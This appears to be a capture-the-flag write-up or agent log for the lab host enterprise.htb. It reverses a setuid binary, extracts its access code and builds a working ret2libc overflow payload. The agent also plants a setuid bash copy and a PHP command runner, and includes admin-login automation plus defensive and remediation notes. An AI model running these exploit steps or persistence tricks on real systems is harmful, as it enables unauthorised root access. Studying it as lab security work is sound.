echo "### listeners"; (ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null) | head -20
echo "### 32812"; grep -rl 32812 /etc/xinetd.d /etc/inetd.conf /etc/systemd/system 2>/dev/null | head; cat /etc/xinetd.d/* 2>/dev/null | grep -vE "^#|^$" | head -30
echo "### aslr, tmp mounts"; cat /proc/sys/kernel/randomize_va_space; mount | grep -E " /(tmp|dev/shm|var/tmp) "
artifacts/hx.sh artifacts/22-host.sh
uid=33(www-data) gid=33(www-data) groups=33(www-data)
enterprise.htb
Ubuntu 17.04 \n \l
Linux enterprise.htb 4.10.0-42-generic #46-Ubuntu SMP Mon Dec 4 14:38:01 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
    inet 127.0.0.1/8 scope host lo
    inet 10.129.101.121/16 brd 10.129.255.255 scope global ens33
    inet 172.17.0.1/16 scope global docker0
### users
root:x:0:0:root:/root:/bin/bash
jeanlucpicard:x:1000:1000:jeanlucpicard,,,:/home/jeanlucpicard:/bin/bash
/home:
total 12
drwxr-xr-x  3 root          root          4096 May 30  2022 .
drwxr-xr-x 23 root          root          4096 May 30  2022 ..
drwxr-xr-x  4 jeanlucpicard jeanlucpicard 4096 May 30  2022 jeanlucpicard

/home/jeanlucpicard:
[...]
-r--r--r-- 1 jeanlucpicard jeanlucpicard   33 Nov 24 07:18 user.txt
### sudo
sudo: a password is required
### setuid
[...]
-rwsr-xr-x 1 root   root        12152 Sep  8  2017 /bin/lcars
[...]
### not owned by a package
no package: /bin/lcars
### listeners
State      Recv-Q Send-Q Local Address:Port               Peer Address:Port              
LISTEN     0      128          *:5355                     *:*                  
LISTEN     0      64           *:32812                    *:*                  
LISTEN     0      128          *:22                       *:*                  
LISTEN     0      128         :::5355                    :::*                  
LISTEN     0      128         :::80                      :::*                  
LISTEN     0      128         :::8080                    :::*                  
LISTEN     0      128         :::22                      :::*                  
LISTEN     0      128         :::443                     :::*                  
### 32812
/etc/xinetd.d/lcars
[...]
### aslr, tmp mounts
0
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
/dev/mapper/enterprise--vg-root on /tmp type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/mapper/enterprise--vg-root on /var/tmp type ext4 (rw,relatime,errors=remount-ro,data=ordered)
[lr exit 0]

This is the host: enterprise.htb, Ubuntu 17.04. The user flag is world-readable.

cat /home/jeanlucpicard/user.txt
artifacts/hx.sh artifacts/23-userflag.sh > artifacts/user.txt; wc -c < artifacts/user.txt; grep -cE "^[0-9a-f]{32}$" artifacts/user.txt
33
1
[lr exit 0]

Phase 4: www-data to root through /bin/lcars

The same listing shows the way up: one setuid root file that no package owns, an xinetd entry for port 32812, and randomize_va_space at 0. Going to this binary first is the third step from memory, although the listing would have put it at the top of any list.

cat /etc/xinetd.d/lcars; ls -la /bin/lcars; file /bin/lcars; ldd /bin/lcars; ldd --version | head -1
echo "### b64"; base64 -w0 /bin/lcars
artifacts/hx.sh artifacts/24-lcars.sh > loot/24-lcars.raw; sed -n "/### b64/q;p" loot/24-lcars.raw; sed -n "/### b64/,\$p" loot/24-lcars.raw | tail -n +2 | base64 -d > loot/lcars.bin; ls -l loot/lcars.bin; sha256sum loot/lcars.bin | cut -c1-16; file loot/lcars.bin
service lcars
{
    type = UNLISTED
    protocol = tcp
    socket_type = stream
    port = 32812
    wait = no
    server = /bin/lcars
    user = root

}
-rwsr-xr-x 1 root root 12152 Sep  8  2017 /bin/lcars
/bin/lcars: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=88410652745b0a94421ce22ea4278a8eaea8db57, not stripped
	linux-gate.so.1 =>  (0xf7ffc000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	/lib/ld-linux.so.2 (0x56555000)
ldd (Ubuntu GLIBC 2.24-9ubuntu2.2) 2.24
[...]
f51b50ade0ffdbbd
loot/lcars.bin: ELF 32-bit LSB pie executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=88410652745b0a94421ce22ea4278a8eaea8db57, not stripped
[lr exit 0]
cd ../..; bin/kali enterprise "cd /work && checksec --file=loot/lcars.bin 2>&1 | tail -8; python3 -I /tools/objdump-strings.py loot/lcars.bin > artifacts/25-disasm.txt; wc -l artifacts/25-disasm.txt; grep -n \">:\$\" artifacts/25-disasm.txt | grep -vE \"plt|_start|_init|_fini|register|frame_dummy|do_global|csu|get_pc\"; strings -n 4 loot/lcars.bin | grep -vE \"^(_|GLIBC|\\.|GCC|crt|deregister|register|frame_dummy|completed)\" | sed -n 1,60p"
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled on new kernels
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
743 artifacts/25-disasm.txt
223:00000750 <startScreen>:
265:000007d4 <disableForcefields>:
308:0000085e <main_menu>:
388:00000980 <.L5>:
421:000009ef <.L7>:
454:00000a5e <.L8>:
469:00000a8e <.L9>:
502:00000afa <.L10>:
517:00000b27 <.L11>:
532:00000b54 <.L12>:
537:00000b5e <.L4>:
545:00000b6a <unable>:
568:00000ba8 <bridgeAuth>:
638:00000c91 <main>:
/lib/ld-linux.so.2
libc.so.6
fflush
exit
puts
stdin
printf
fgets
stdout
setresuid
strcmp
UWVS
t$,U
[^_]
                 _______ _______  ______ _______
          |      |       |_____| |_____/ |______
          |_____ |_____  |     | |    \_ ______|
Welcome to the Library Computer Access and Retrieval System
Disable Security Force Fields
Enter Security Override:
Rerouting Tertiary EPS Junctions: %s
LCARS Bridge Secondary Controls -- Main Menu: 
1. Navigation
2. Ships Log
3. Science
4. Security
5. StellaCartography
6. Engineering
7. Exit
Waiting for input: 
Enter System Name and Warp Speed: 
Unable to comply. Antimatter injectors are not responding
Enter New Bridge Log: 
Unable to comply. Tertiary data nodes are Offline
Secondary Routines not implemented
Returning to Main Menu
Secondary Routines not implemented
Returning to Main Menu
Secondary Routines not implemented
Terminating Console
Invalid Code
Terminating Console
Enter Bridge Access Code: 
;*2$"
lcars.c
strcmp@@GLIBC_2.0
setresuid@@GLIBC_2.0
printf@@GLIBC_2.0
bridgeAuth
fflush@@GLIBC_2.0
disableForcefields
fgets@@GLIBC_2.0
startScreen
puts@@GLIBC_2.0
exit@@GLIBC_2.0
unable
stdin@@GLIBC_2.0
main_menu
stdout@@GLIBC_2.0
main
[lr exit 0]

checksec reports no canary, PIE, and an executable stack. My first cut of the two interesting functions printed addresses only:

sed -n "265,307p;568,637p" artifacts/25-disasm.txt | cut -f1,3- | grep -vE "nop|^$"; grep -n "scanf\|gets" artifacts/25-disasm.txt | grep ">:" 
000007d4 <disableForcefields>:
 7d4:
 7d5:
 7d7:
[...]

cut -f1,3- assumed a tab that the first field does not have. Without the cut:

sed -n "265,307p;568,637p" artifacts/25-disasm.txt | tr "\t" " " | sed -E "s/ +/ /g" | grep -vE " nop$|^$"
[...]
00000ba8 <bridgeAuth>:
 ba8: push ebp
 ba9: mov ebp,esp
 bab: push ebx
 bac: sub esp,0x34
 baf: call 620 <__x86.get_pc_thunk.bx>
 bb4: add ebx,0x244c
 bba: mov DWORD PTR [ebp-0xc],0x0
 bc1: mov eax,DWORD PTR [ebp-0xc]
 bc4: lea edx,[eax+0x1]
 bc7: mov DWORD PTR [ebp-0xc],edx
 bca: mov BYTE PTR [ebp+eax*1-0x2e],0x70
 bcf: mov eax,DWORD PTR [ebp-0xc]
 bd2: lea edx,[eax+0x1]
 bd5: mov DWORD PTR [ebp-0xc],edx
 bd8: mov BYTE PTR [ebp+eax*1-0x2e],0x69
 bdd: mov eax,DWORD PTR [ebp-0xc]
 be0: lea edx,[eax+0x1]
 be3: mov DWORD PTR [ebp-0xc],edx
 be6: mov BYTE PTR [ebp+eax*1-0x2e],0x63
 beb: mov eax,DWORD PTR [ebp-0xc]
 bee: lea edx,[eax+0x1]
 bf1: mov DWORD PTR [ebp-0xc],edx
 bf4: mov BYTE PTR [ebp+eax*1-0x2e],0x61
 bf9: mov eax,DWORD PTR [ebp-0xc]
 bfc: lea edx,[eax+0x1]
 bff: mov DWORD PTR [ebp-0xc],edx
 c02: mov BYTE PTR [ebp+eax*1-0x2e],0x72
 c07: mov eax,DWORD PTR [ebp-0xc]
 c0a: lea edx,[eax+0x1]
 c0d: mov DWORD PTR [ebp-0xc],edx
 c10: mov BYTE PTR [ebp+eax*1-0x2e],0x64
 c15: mov eax,DWORD PTR [ebp-0xc]
 c18: lea edx,[eax+0x1]
 c1b: mov DWORD PTR [ebp-0xc],edx
 c1e: mov BYTE PTR [ebp+eax*1-0x2e],0x61
 c23: mov eax,DWORD PTR [ebp-0xc]
 c26: lea edx,[eax+0x1]
 c29: mov DWORD PTR [ebp-0xc],edx
 c2c: mov BYTE PTR [ebp+eax*1-0x2e],0x31
 c31: mov eax,DWORD PTR [ebp-0xc]
 c34: lea edx,[eax+0x1]
 c37: mov DWORD PTR [ebp-0xc],edx
 c3a: mov BYTE PTR [ebp+eax*1-0x2e],0x0
 c3f: sub esp,0x8
 c42: lea eax,[ebp-0x2e]
 c45: push eax
 c46: push DWORD PTR [ebp+0x8]
 c49: call 540 <strcmp@plt>
 c4e: add esp,0x10
 c51: mov DWORD PTR [ebp-0x10],eax
 c54: cmp DWORD PTR [ebp-0x10],0x0
 c58: jne c61 <bridgeAuth+0xb9>
 c5a: call 85e <main_menu>
[...]

bridgeAuth writes eight bytes onto the stack one at a time, 0x70 0x69 0x63 0x61 0x72 0x64 0x61 0x31, terminates them and calls strcmp: the access code is picarda1. A match calls main_menu.

The host has gdb and python3 but no readelf or strings, so libc addresses were read from a live process.

ls -laL /lib/i386-linux-gnu/libc.so.6; sha256sum /lib/i386-linux-gnu/libc.so.6 | cut -c1-16
which gdb python3 python readelf strings gcc 2>&1
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E " (system|exit|setresuid)@@"
strings -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
echo "### libc base under a setuid run: maps of a held-open lcars"
(sleep 2 | /bin/lcars >/dev/null) & sleep 1; grep -E "libc|lcars|stack" /proc/$(pgrep -n -x lcars)/maps 2>&1 | head -8; wait
artifacts/hx.sh artifacts/28-libc.sh; echo "### main, menu head and case 4"; sed -n "638,743p" artifacts/25-disasm.txt | tr "\t" " " | sed -E "s/ +/ /g" | grep -E "call|push 0x|lea eax,\[ebx|<main>" | head -40; sed -n "308,345p;454,470p" artifacts/25-disasm.txt | tr "\t" " " | sed -E "s/ +/ /g" | grep -E "call|cmp|scanf|>:"
-rwxr-xr-x 1 root root 1802928 Jun 16  2017 /lib/i386-linux-gnu/libc.so.6
ea1e4f33e7ce2482
/usr/bin/gdb
/usr/bin/python3
### libc base under a setuid run: maps of a held-open lcars
grep: /proc/3628/maps: Permission denied
### main, menu head and case 4
00000c91 <main>:
 ca3: call 620 <__x86.get_pc_thunk.bx>
 cb1: push 0x0
 cb3: push 0x0
 cb5: push 0x0
 cb7: call 550 <setresuid@plt>
 cbf: call 750 <startScreen>
 cc7: lea eax,[ebx-0x1ebd]
 cce: call 590 <puts@plt>
 ce2: call 570 <fflush@plt>
 cf6: push 0x9
 cfc: call 580 <fgets@plt>
 d0b: call ba8 <bridgeAuth>
 d34: call 620 <__x86.get_pc_thunk.bx>
 d4c: call 508 <_init>
 d51: lea eax,[ebx-0x11c]
 d74: call DWORD PTR [ebx+edi*4-0x11c]
 d98: call 620 <__x86.get_pc_thunk.bx>
0000085e <main_menu>:
 868: call 620 <__x86.get_pc_thunk.bx>
 87d: call 750 <startScreen>
 88c: call 590 <puts@plt>
 89e: call 590 <puts@plt>
 8b0: call 590 <puts@plt>
 8c2: call 590 <puts@plt>
 8d4: call 590 <puts@plt>
 8e6: call 590 <puts@plt>
00000a5e <.L8>:
 a68: call 590 <puts@plt>
 a7c: call 570 <fflush@plt>
 a84: call 85e <main_menu>
00000a8e <.L9>:
[lr exit 0]

main calls setresuid(0,0,0) before anything else. The two symbol lookups printed nothing: the host has neither tool, and the runner’s 2>&1 lands on a line of its own after the script’s final newline, so errors come back only where a line redirects them itself. Reading the memory map of a running setuid process was refused.

cd /tmp && gdb -q -batch -ex 'break main' -ex 'run' -ex 'p system' -ex 'p exit' -ex 'info proc mappings' -ex 'find &system,+9999999,"/bin/sh"' /bin/lcars < /dev/null 2>&1 | grep -vE "^\s+0x.*(lcars|ld-|vdso|vvar|stack)|^$" | head -30
artifacts/hx.sh artifacts/29-gdb.sh; echo "### which menu case calls disableForcefields"; grep -n "call.*<disableForcefields>\|^0.*<.L[0-9]*>:" artifacts/25-disasm.txt; sed -n "346,388p" artifacts/25-disasm.txt | tr "\t" " " | sed -E "s/ +/ /g" | grep -E "scanf|cmp|ja |jmp|lea eax,\[ebx-0x2[0-9a-f]+\]" | head
Breakpoint 1 at 0xca0
Breakpoint 1, 0x56555ca0 in main ()
$1 = {<text variable, no debug info>} 0xf7e4c060 <system>
$2 = {<text variable, no debug info>} 0xf7e3faf0 <exit>
process 3637
Mapped address spaces:
	Start Addr   End Addr       Size     Offset objfile
	0xf7e11000 0xf7fc5000   0x1b4000        0x0 /lib/i386-linux-gnu/libc-2.24.so
	0xf7fc5000 0xf7fc7000     0x2000   0x1b3000 /lib/i386-linux-gnu/libc-2.24.so
	0xf7fc7000 0xf7fc8000     0x1000   0x1b5000 /lib/i386-linux-gnu/libc-2.24.so
	0xf7fc8000 0xf7fcb000     0x3000        0x0 
	0xf7fd2000 0xf7fd5000     0x3000        0x0 
0xf7f70a0f
warning: Unable to access 16000 bytes of target memory at 0xf7fca797, halting search.
1 pattern found.
### which menu case calls disableForcefields
388:00000980 <.L5>:
421:000009ef <.L7>:
454:00000a5e <.L8>:
469:00000a8e <.L9>:
502:00000afa <.L10>:
517:00000b27 <.L11>:
532:00000b54 <.L12>:
537:00000b5e <.L4>:
 8f1: lea eax,[ebx-0x20ae]
 903: lea eax,[ebx-0x2099]
 915: lea eax,[ebx-0x208a]
 927: lea eax,[ebx-0x2082]
 954: lea eax,[ebx-0x206e]
 95b: call 5c0 <__isoc99_scanf@plt>
 969: cmp eax,0x7
 96c: ja b5e <.L4>
 97e: jmp eax
[lr exit 0]

Under gdb the setuid bit is not honoured, but with randomisation off the library loads at the same address either way: system at 0xf7e4c060, exit at 0xf7e3faf0. ldd had printed a different base earlier because it runs the loader as the program. The /bin/sh string sits at 0xf7f70a0f, and that address contains the byte 0x0a. scanf("%s") stops at whitespace, so the address cannot be sent. Any NUL-terminated sh will do instead, since system searches PATH.

cd /tmp && gdb -q -batch -ex 'break main' -ex 'run' -ex 'find /b 0xf7e11000,0xf7fc4fff,0x73,0x68,0x00' /bin/lcars < /dev/null 2>&1 | grep -E "^0x|pattern" | head -12
artifacts/hx.sh artifacts/30-gdb.sh; echo "### every call to 7d4 and the jump table cases"; grep -n "7d4" artifacts/25-disasm.txt | tr "\t" " " | head; sed -n "469,502p" artifacts/25-disasm.txt | tr "\t" " " | sed -E "s/ +/ /g" | grep -E "call|>:"
0xf7e1f65e
0xf7e1f6a0
0xf7e2065b
0xf7e20c3c
0xf7e22b30
0xf7e2346f
0xf7e23716
0xf7f6ddd5
0xf7f6e7e1
0xf7f70a14
0xf7f72582
11 patterns found.
### every call to 7d4 and the jump table cases
265:000007d4 <disableForcefields>:
266: 7d4: push   ebp
00000a8e <.L9>:
 a98: call 590 <puts@plt>
 aaa: call 590 <puts@plt>
 abe: call 570 <fflush@plt>
 ad7: call 5c0 <__isoc99_scanf@plt>
 af0: call 560 <printf@plt>
00000afa <.L10>:
[lr exit 0]

0xf7f6ddd5 has no whitespace or zero byte. Others in the list qualify as well; the pick among them was arbitrary. The executable stack was the other option, but shellcode needs a stack address and I had no way to read one for the setuid run, so the chain returns into libc. The same output answered a second question: I had expected a call to disableForcefields, and there is none. The function is dead code. Menu option 4 carries the same instructions inline.

sed -n "308,316p;346,387p;469,501p;537,544p" artifacts/25-disasm.txt | tr "\t" " " | sed -E "s/ +/ /g" | grep -vE " nop$|^$"; grep -c . artifacts/25-disasm.txt; python3 -I -c "
import sys
d=open(\"loot/lcars.bin\",\"rb\").read()
# .rodata strings at ebx-relative offsets: ebx = 0x868+5+add; print the jump table targets instead
print(\"file bytes\",len(d))"
0000085e <main_menu>:
 85e: push ebp
 85f: mov ebp,esp
 861: push ebx
 862: sub esp,0x1a4
 868: call 620 <__x86.get_pc_thunk.bx>
 86d: add ebx,0x2793
 873: mov DWORD PTR [ebp-0xd4],0x0
 87d: call 750 <startScreen>
[...]
 94a: sub esp,0x8
 94d: lea eax,[ebp-0xd4]
 953: push eax
 954: lea eax,[ebx-0x206e]
 95a: push eax
 95b: call 5c0 <__isoc99_scanf@plt>
 960: add esp,0x10
 963: mov eax,DWORD PTR [ebp-0xd4]
 969: cmp eax,0x7
 96c: ja b5e <.L4>
 972: shl eax,0x2
 975: mov eax,DWORD PTR [eax+ebx*1-0x1f3c]
 97c: add eax,ebx
 97e: jmp eax
00000a8e <.L9>:
[...]
 ac6: sub esp,0x8
 ac9: lea eax,[ebp-0xd0]
 acf: push eax
 ad0: lea eax,[ebx-0x213c]
 ad6: push eax
 ad7: call 5c0 <__isoc99_scanf@plt>
 adc: add esp,0x10
 adf: sub esp,0x8
 ae2: lea eax,[ebp-0xd0]
 ae8: push eax
 ae9: lea eax,[ebx-0x2138]
 aef: push eax
 af0: call 560 <printf@plt>
 af5: add esp,0x10
 af8: jmp b64 <.L4+0x6>
00000b5e <.L4>:
 b5e: call b6a <unable>
 b65: mov ebx,DWORD PTR [ebp-0x4]
 b68: leave
 b69: ret
[...]

The menu choice is read with scanf into an integer and dispatched through a jump table. Case .L9 reads the override into ebp-0xd0 of main_menu: 208 bytes of buffer, 4 of saved frame pointer, then the return address. The payload is 212 filler bytes, the address of system, the address of exit as its return, and the address of sh as its argument.

One detail decides whether the shell does anything. The shell that system starts inherits standard input. If the input were a pipe, the program’s buffered reader would already have consumed whatever I sent after the payload. With a regular file, the reader takes one 4096-byte block and the file offset stops there, so the first block is padded to exactly 4096 bytes and the shell’s commands follow it.

cd /var/tmp
echo "### control: wrong access code"
printf 'wrongcod\n' | /bin/lcars | tail -3
python3 - <<'PY'
import struct
system, exit_, sh = 0xf7e4c060, 0xf7e3faf0, 0xf7f6ddd5
pay = b'A' * 212 + struct.pack('<III', system, exit_, sh)
assert not any(c in pay for c in b'\x00\x09\x0a\x0b\x0c\x0d\x20')
first = b'picarda1\n4\n' + pay + b'\n'
first += b'\n' * (4096 - len(first))
open('/var/tmp/.in', 'wb').write(first + b'id > /var/tmp/.id; cp /bin/bash /var/tmp/.er; chmod 4755 /var/tmp/.er\n')
PY
ls -la /var/tmp/.in
echo "### exploit"
/bin/lcars < /var/tmp/.in | tail -4 | cut -c1-60 | tr -c '[:print:]\n' '.'
echo "exit $?"
cat /var/tmp/.id; ls -la /var/tmp/.er
/var/tmp/.er -p -c 'id; wc -c /root/root.txt'
rm -f /var/tmp/.in
artifacts/hx.sh artifacts/32-root.sh
### control: wrong access code
Invalid Code
Terminating Console

-rw-r--r-- 1 www-data www-data 4166 Nov 24 07:44 /var/tmp/.in
### exploit
Waiting for input: 
Disable Security Force Fields
Enter Security Override:
Rerouting Tertiary EPS Junctions: AAAAAAAAAAAAAAAAAAAAAAAAAA
exit 0
uid=0(root) gid=33(www-data) groups=33(www-data)
-rwsr-xr-x 1 root www-data 1099016 Nov 24 07:44 /var/tmp/.er
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
33 /root/root.txt
[lr exit 0]

A wrong code is rejected. With the payload, the shell reports uid=0: real root, because main had already called setresuid, which is also why the shell did not drop the privilege. It left a setuid copy of bash so that later commands could run as root through the same HTTP driver.

/var/tmp/.er -p -c 'cat /root/root.txt'
artifacts/hx.sh artifacts/33-rootflag.sh > artifacts/root.txt; wc -c < artifacts/root.txt; grep -cE "^[0-9a-f]{32}$" artifacts/root.txt
33
1
[lr exit 0]

The exploit ran locally against the setuid file. The same program listens on port 32812 as root, and the overflow should be reachable there too. I did not test that route.

Post-Exploitation

Before stopping the machine I collected what only root could read.

/var/tmp/.er -p <<'R'
echo "### docker"; docker ps --format '{{.Names}} {{.Image}} {{.Ports}}' 2>&1; for c in $(docker ps -q 2>/dev/null); do docker inspect -f '{{.Name}} {{range .Mounts}}{{.Source}}->{{.Destination}} rw={{.RW}}; {{end}}' $c; done
echo "### host 443 site"; grep -vE "^\s*#|^$" /etc/apache2/sites-enabled/*ssl* 2>/dev/null | head -30; ls /etc/apache2/mods-enabled | grep -i php; ls -la /var/www/html /var/www/html/files
echo "### apache log lines for the runner"; grep -c "hx.php" /var/log/apache2/*access*log 2>/dev/null; grep "hx.php" /var/log/apache2/*access*log 2>/dev/null | tail -2 | sed -E 's/10\.10\.[0-9]+\.[0-9]+/10.10.14.X/g'
echo "### kernel or journal lines about lcars"; dmesg 2>/dev/null | grep -i lcars | tail -3; journalctl --no-pager -q --since "-40min" 2>/dev/null | grep -iE "lcars|segfault|xinetd" | tail -5 | sed -E 's/10\.10\.[0-9]+\.[0-9]+/10.10.14.X/g'
echo "### auditd, apparmor"; ls /var/log/audit 2>&1 | head -2; aa-status 2>/dev/null | head -3
echo "### root dir, cron"; ls -la /root; crontab -l 2>&1 | grep -v "^#"; ls /etc/cron.d
echo "### mysql container env names"; docker inspect -f '{{range .Config.Env}}{{println .}}{{end}}' $(docker ps -q) 2>/dev/null | cut -d= -f1 | sort -u | tr '\n' ' '
R
artifacts/hx.sh artifacts/34-evidence.sh
### docker
joomla joomla:apache-php7 0.0.0.0:8080->80/tcp
wordpress wordpress:php5.6-apache 0.0.0.0:80->80/tcp
mysql mysql:latest 3306/tcp
/joomla /var/lib/docker/volumes/377cd37c355c1868112c8e5435683140f04ddf5de3e53135baf436e6b7171042/_data->/var/www/html rw=true; /var/www/html/files->/var/www/html/files rw=true; 
/wordpress /var/lib/docker/volumes/8b6d0ecb5e34aa53a1c5b49d3c143b4ca7558627b4b3f4757f4c59dcb391d53e/_data->/var/www/html rw=true; 
/mysql /var/lib/docker/volumes/5f4c4bd50ecfde230cb057e81a952f6e866e6ebca25c2543e47628262afe1b15/_data->/var/lib/mysql rw=true; 
### host 443 site
<IfModule mod_ssl.c>
	<VirtualHost _default_:443>
		ServerAdmin webmaster@localhost
		DocumentRoot /var/www/html
		ErrorLog ${APACHE_LOG_DIR}/error.log
		CustomLog ${APACHE_LOG_DIR}/access.log combined
		SSLEngine on
		SSLCertificateFile	/etc/apache2/ssl/server.crt
		SSLCertificateKeyFile /etc/apache2/ssl/server.key
		<FilesMatch "\.(cgi|shtml|phtml|php)$">
				SSLOptions +StdEnvVars
		</FilesMatch>
		<Directory /usr/lib/cgi-bin>
				SSLOptions +StdEnvVars
		</Directory>
	</VirtualHost>
</IfModule>
php7.0.conf
php7.0.load
/var/www/html:
total 24
drwxr-xr-x 3 root root  4096 Sep  3  2017 .
drwxr-xr-x 3 root root  4096 Aug 25  2017 ..
drwxrwxrwx 2 root root  4096 Nov 24 07:41 files
-rw-r--r-- 1 root root 10918 Aug 25  2017 index.html

/var/www/html/files:
total 16
drwxrwxrwx 2 root     root     4096 Nov 24 07:41 .
drwxr-xr-x 3 root     root     4096 Sep  3  2017 ..
-rw-r--r-- 1 www-data www-data   77 Nov 24 07:41 hx.php
-rw-r--r-- 1 root     root     1406 Oct 17  2017 lcars.zip
### apache log lines for the runner
/var/log/apache2/access.log:16
/var/log/apache2/other_vhosts_access.log:0
/var/log/apache2/access.log:10.10.14.X - - [24/Nov/2026:07:44:05 +0000] "POST /files/hx.php HTTP/1.1" 200 2297 "-" "curl/8.18.0"
/var/log/apache2/access.log:10.10.14.X - - [24/Nov/2026:07:44:21 +0000] "POST /files/hx.php HTTP/1.1" 200 1829 "-" "curl/8.18.0"
### kernel or journal lines about lcars
Nov 24 07:17:56 enterprise.htb xinetd[1534]: removing echo
Nov 24 07:17:56 enterprise.htb xinetd[1534]: removing time
Nov 24 07:17:56 enterprise.htb xinetd[1534]: removing time
Nov 24 07:17:56 enterprise.htb xinetd[1534]: xinetd Version 2.3.15 started with libwrap loadavg options compiled in.
Nov 24 07:17:56 enterprise.htb xinetd[1534]: Started working: 1 available service
### auditd, apparmor
ls: cannot access '/var/log/audit': No such file or directory
apparmor module is loaded.
13 profiles are loaded.
13 profiles are in enforce mode.
### root dir, cron
total 28
drwx------  4 root root 4096 Nov 24 07:18 .
drwxr-xr-x 23 root root 4096 May 30  2022 ..
lrwxrwxrwx  1 root root    9 May 30  2022 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 May 30  2022 .cache
drwxr-xr-x  2 root root 4096 Aug 25  2017 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root    0 Oct 17  2017 .viminfo
-r--------  1 root root   33 Nov 24 07:18 root.txt
no crontab for www-data
mdadm
php
popularity-contest
### mysql container env names
 APACHE_CONFDIR APACHE_ENVVARS GOSU_VERSION GPG_KEYS JOOMLA_INSTALLATION_DISABLE_LOCALHOST_CHECK JOOMLA_SHA1 JOOMLA_VERSION MYSQL_MAJOR MYSQL_ROOT_PASSWORD MYSQL_VERSION PATH PHPIZE_DEPS PHP_ASC_URL PHP_CFLAGS PHP_CPPFLAGS PHP_EXTRA_BUILD_DEPS PHP_EXTRA_CONFIGURE_ARGS PHP_INI_DIR PHP_LDFLAGS PHP_MD5 PHP_SHA256 PHP_URL PHP_VERSION WORDPRESS_SHA1 WORDPRESS_VERSION [lr exit 0]

Only the Joomla container mounts a host path, and it is read-write. The last label is wrong: the command inspects all three containers, so the names are their union. The HTTPS virtual host serves /var/www/html with PHP 7.0 enabled.

Cleanup:

#!/usr/bin/env python3
# put the saved original back into templates/protostar/error.php through the same Joomla template form
import re, base64, urllib.request, urllib.parse, urllib.error, http.cookiejar
B = 'http://10.129.101.121:8080/administrator/index.php'
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(http.cookiejar.CookieJar()))
def req(u, data=None):
    try: return op.open(u, data, timeout=30).read().decode('utf-8', 'replace')
    except urllib.error.HTTPError as e: return e.read().decode('utf-8', 'replace')
tok = lambda page: re.search(r'name="([0-9a-f]{32})" value="1"', page).group(1)
pw = open('loot/pw.txt').read().split('\n')[2]
req(B, urllib.parse.urlencode({'username': 'geordi.la.forge', 'passwd': pw, 'option': 'com_login', 'task': 'login', 'return': 'aW5kZXgucGhw', tok(req(B)): '1'}).encode())
q = B + '?option=com_templates&view=template&id=506&file=' + base64.b64encode(b'/error.php').decode()
page = req(q)
hid = dict(re.findall(r'<input type="hidden" name="(jform\[[a-z_]+\])"[^>]*value="([^"]*)"', page))
d = {'jform[source]': open('loot/error.php.orig').read(), 'task': 'template.apply', tok(page): '1'}; d.update(hid)
print(re.findall(r'alert-message">\s*([^<]+)', req(q, urllib.parse.urlencode(d).encode()))[:1])
/var/tmp/.er -p -c 'rm -f /var/tmp/.id /var/tmp/.in'; rm -f /var/tmp/.er /var/www/html/files/hx.php; ls -la /var/tmp /var/www/html/files
python3 -I artifacts/35-restore.py; echo "runner in template after restore: $(curl -s -m 20 --data "c=aWQ=" http://10.129.101.121:8080/templates/protostar/error.php | head -c 40 | tr -d "\n")"; artifacts/hx.sh artifacts/35-cleanup.sh; echo "hx.php now: $(curl -sk -m 20 -o /dev/null -w "%{http_code}" https://10.129.101.121/files/hx.php)"
['File saved.']
runner in template after restore: 
/var/tmp:
total 1084
drwxrwxrwt  2 root root        4096 Nov 24 07:44 .
drwxr-xr-x 14 root root        4096 Aug 25  2017 ..
-rwsr-xr-x  1 root www-data 1099016 Nov 24 07:44 .er

/var/www/html/files:
total 12
drwxrwxrwx 2 root root 4096 Nov 24 07:44 .
drwxr-xr-x 3 root root 4096 Sep  3  2017 ..
-rw-r--r-- 1 root root 1406 Oct 17  2017 lcars.zip
hx.php now: 404
[lr exit 0]

The template was restored, the runner in it no longer answers, and hx.php returns 404. One thing failed: the listing still shows /var/tmp/.er. The rm for it ran as www-data in a sticky directory against a file owned by root, and the script had already deleted the runner that could have retried it. The instance was terminated two commands later, which is the only reason a setuid root shell did not outlive the session. The order should have been the root shell removing itself last, from inside.

Defensive Analysis

Phase 1. One request per bit, all to one plugin file, all with IF( and UNION in the query string. I did not read the WordPress container’s access log.

Phase 2. Script 16 alone made ten administrator logins in under thirty seconds, nine of them failures; then a template file changed on disk. The place to look is the Joomla container’s Apache log (docker logs joomla): the login POSTs, a com_templates save, then POSTs to /templates/protostar/error.php. I did not read it.

Phase 3. This one left evidence I did read: 16 access-log lines naming /files/hx.php, the two shown being POSTs with a curl user agent, in a directory whose only legitimate content is a zip file. The count includes my two GET controls. My log accounts for ten of the 16 and I did not save the others.

Phase 4. The journal holds xinetd’s start-up lines and nothing else. The return chain ends in exit, so there is no crash to log, and the host has no auditd. A rule recording executions where the effective user is root and the real user is not would have caught the setuid shell; it was not tried here.

Remediation

None of these was applied on the machine. A check is named where there is one.

  1. Remove the plugin’s test files, or cast the parameter as the sibling file does. Check: the SLEEP(3) control returns in normal time.
  2. Give each application a database account limited to its own schema. This does not stop phase 1, which reads the WordPress schema, but the read of joomladb should then fail.
  3. Delete the draft and change all four passwords.
  4. Mount the shared directory read-only into the container, or stop the host running PHP under /files. Either alone stops phase 3. Check: script 21 fails to write, or the path returns the file’s source as text.
  5. Remove the setuid bit from /bin/lcars. xinetd already starts it as root, so the bit serves nothing, and without it the local route yields a shell as www-data.
